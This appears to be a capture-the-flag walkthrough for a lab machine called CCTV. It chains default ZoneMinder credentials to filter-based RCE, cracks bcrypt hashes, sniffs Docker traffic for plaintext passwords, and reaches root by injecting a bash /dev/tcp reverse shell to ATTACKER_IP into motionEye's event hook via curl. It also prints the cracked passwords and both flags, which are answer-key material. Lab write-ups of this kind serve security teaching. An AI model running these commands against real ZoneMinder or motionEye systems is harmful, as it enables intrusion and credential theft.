CCTV
Default ZoneMinder credentials lead to RCE as www-data. Lateral movement via cracked bcrypt hash to SSH as mark, then sniffing Docker inter-container traffic for sa_mark credentials. Privilege escalation by abusing motionEye running as root to inject a reverse shell into camera event hooks.
contents

Machine Summary#
| Property | Value |
|---|---|
| Name | CCTV |
| IP | 10.129.3.177 |
| OS | Ubuntu Linux (kernel 6.8.0-101-generic) |
| Difficulty | Easy |
| Key Topics | ZoneMinder, Default Creds, Docker, motionEye, tcpdump |
Overview#
CCTV is an Easy-rated Linux machine running a ZoneMinder CCTV application behind Apache. Default credentials (admin:admin) on the ZoneMinder web interface provide full admin access, which is leveraged to execute a reverse shell via the filter auto-execute feature. Post-exploitation involves cracking a ZoneMinder user’s bcrypt hash to SSH as mark, then sniffing plaintext credentials from Docker inter-container traffic to pivot to sa_mark and capture the user flag. Root is obtained by abusing the motionEye service running as root — injecting a reverse shell command into a camera’s event notification hook and triggering a motion event.
Reconnaissance#
Port Scanning#
A full TCP port scan reveals only two open ports:
nmap -sC -sV -O -p- --min-rate 1000 -oN scans/nmap_full.txt 10.129.3.177
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
UDP scan of the top 100 ports returned nothing open.
Web Enumeration#
Hitting the IP directly on port 80 returns a 302 redirect to http://cctv.htb/, indicating a virtual host. After adding cctv.htb to /etc/hosts:
echo "10.129.3.177 cctv.htb" >> /etc/hosts
The homepage is a static HTML page for “SecureVision CCTV & Security Solutions”. A “Staff Login” button links to /zm/ — a ZoneMinder instance.
whatweb http://cctv.htb/zm/
Confirms ZoneMinder with Bootstrap 4.5.0, jQuery, and CakePHP 2.10.24 powering the API backend.
Directory brute-forcing with gobuster on the root and /zm/ path revealed standard ZoneMinder directories (/zm/api/, /zm/ajax/, /zm/views/, etc.) but no hidden content.
Virtual host fuzzing with ffuf found no additional subdomains.
Enumeration#
Default Credentials — Admin Access#
The first thing to test on any ZoneMinder installation is default credentials:
curl -s "http://cctv.htb/zm/api/host/login.json?user=admin&pass=admin"
{"credentials":"auth=547847...","append_password":0,
"version":"1.37.63","apiversion":"2.0"}
admin:admin grants full administrative access. The API confirms ZoneMinder version 1.37.63.
Authenticated Enumeration#
With admin access, the API exposes everything:
- 3 Users:
superadmin(full admin),mark(view-only),admin(default account) - Database credentials:
zmuser:zmpasson localhost MySQL, databasezm - ZM_AUTH_HASH_SECRET: Still set to the default value (
...Change me to something unique...) - 3 Monitors configured (including artifacts from previous testers)
CVE Assessment#
| CVE | Type | Status for 1.37.63 |
|---|---|---|
| CVE-2024-51482 | SQLi (event.php) | Vulnerable (< 1.37.65) |
| CVE-2023-26035 | Unauth RCE | Patched (fixed in 1.37.33) |
| CVE-2024-43360 | SQLi (sort) | Patched (fixed in 1.37.61) |
Since we already have admin credentials, the authenticated RCE path via admin panel features is the simplest route.
Exploitation — User Flag#
Step 1: RCE via ZoneMinder Filter Auto-Execute#
ZoneMinder’s filter feature allows setting an AutoExecuteCmd that runs when filter conditions are met. With admin access, this is a straightforward RCE vector.
Using the ZoneMinder web UI or API, a filter was created with:
AutoExecute=1AutoExecuteCmdset to a reverse shell payload
# Attacker: start listener
nc -lvnp 9001
The filter executes as www-data:
www-data@cctv:/usr/share/zoneminder/www$
Step 2: Internal Enumeration as www-data#
From the www-data shell:
cat /etc/passwd | grep -E '/bin/(ba)?sh'
# root, mark (uid 1000), sa_mark (uid 1001)
Both /home/mark and /home/sa_mark are inaccessible to www-data. The user flag is in /home/sa_mark/user.txt.
No useful SUID binaries, capabilities, or sudo permissions for www-data.
Internal services discovered:
| Port | Service | Notes |
|---|---|---|
| 8765 | motionEye 0.43.1b4 | CCTV web UI, localhost only |
| 7999 | Motion 4.7.1 | Motion daemon |
| 8554 | RTSP (mediamtx) | Docker container 172.18.0.2 |
| 3306 | MySQL | ZoneMinder database |
Docker containers are running on two bridge networks: 172.18.0.0/16 and 172.25.0.0/16.
Step 3: Extract and Crack ZoneMinder Password Hashes#
From the MySQL database using the ZM credentials:
mysql -u zmuser -pzmpass zm -e "SELECT Username,Password FROM Users"
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
Cracking with john and rockyou:
john --wordlist=/usr/share/wordlists/rockyou.txt zm_hashes.txt
admin : admin
mark : opensesame
Step 4: SSH as mark#
ssh mark@10.129.3.177
# Password: opensesame
No user flag in /home/mark/. Need to pivot to sa_mark.
Step 5: Sniffing Docker Traffic for sa_mark Credentials#
A log file at /opt/video/backups/server.log shows periodic authentication by sa_mark to a service inside a Docker container. Investigating the Docker networks:
172.25.0.10:5000— A custom TCP service acceptingUSERNAME=;PASSWORD=;CMD=commands172.25.0.11— A client container that authenticates periodically to the server
Using tcpdump to sniff the inter-container traffic:
tcpdump -i br-$(ip link show | grep -oP 'br-\K[a-f0-9]+') -A port 5000
Captured plaintext credentials:
USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
Step 6: SSH as sa_mark — User Flag#
ssh sa_mark@10.129.3.177
# Password: X1l9fx1ZjS7RZb
cat ~/user.txt
626ed8ef1662308f73231e3fd2bf9a61
User Flag: 626ed8ef1662308f73231e3fd2bf9a61
Privilege Escalation — Root Flag#
Discovery: motionEye Running as Root#
The motionEye service is configured to run as root:
cat /etc/systemd/system/motioneye.service
[Service]
User=root
ExecStart=/usr/local/bin/meyectl startserver ...
motionEye exposes a web API on localhost:8765 with signature-based authentication. The admin password hash is stored in /etc/motioneye/motion.conf.
Exploitation: Command Injection via Camera Event Hook#
motionEye allows configuring commands to execute on motion events. Since it runs as root, any command set in the camera’s command_notifications_exec field executes as root.
- Authenticate to the motionEye API using its signature mechanism (computing HMAC with the admin password hash from the config):
# Using motionEye's own compute_signature() function on target
import hashlib, hmac
# ... sign API requests with admin_password from config
- Retrieve camera 1 configuration:
curl "http://127.0.0.1:8765/config/1/get/?_signature=<sig>&_username=admin"
- Modify the event notification command to a reverse shell:
# Set command_notifications_exec to:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/9005 0>&1'
- Push the modified config:
curl -X POST "http://127.0.0.1:8765/config/1/set/" \
-d '{"command_notifications_exec":"bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9005 0>&1\""}' \
--header "Content-Type: application/json"
- Start listener and trigger a motion event:
# Attacker
nc -lvnp 9005
# On target — trigger motion event via Motion's HTTP control API
curl http://127.0.0.1:7999/1/action/eventstart
- Root shell received:
root@cctv:/etc/motioneye#
cat /root/root.txt
7b13c54c2a5b4345a76bf93bac68e886
Root Flag: 7b13c54c2a5b4345a76bf93bac68e886
Obstacles & Lessons Learned#
- Version identification: Without authentication, ZoneMinder’s exact version was difficult to determine. Several CVEs were tested unnecessarily before confirming the version via the API after logging in with default credentials. Always try default credentials first.
- Multiple lateral moves: The path from www-data to root required three pivots (www-data -> mark -> sa_mark -> root), each using a different technique.
- Docker traffic sniffing: The sa_mark credentials were only obtainable by sniffing plaintext traffic between Docker containers — a reminder that internal network traffic is often unencrypted.
- motionEye as root: Services running as root with web APIs are dangerous. The ability to configure arbitrary command execution via the web interface made privilege escalation straightforward once access to the API was achieved.
- Previous tester artifacts: Reverse shell commands left in ZoneMinder monitor configs by previous testers were visible, confirming the RCE path but also highlighting the importance of cleanup.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | Port scanning and service enumeration |
| gobuster | Directory brute-forcing |
| ffuf | Virtual host fuzzing |
| whatweb | Technology fingerprinting |
| curl | HTTP requests and API interaction |
| john | Bcrypt hash cracking (ZoneMinder user passwords) |
| mysql | Database access for credential extraction |
| tcpdump | Sniffing Docker inter-container traffic |
| nc | Reverse shell listeners |
| python3 | motionEye API signature computation |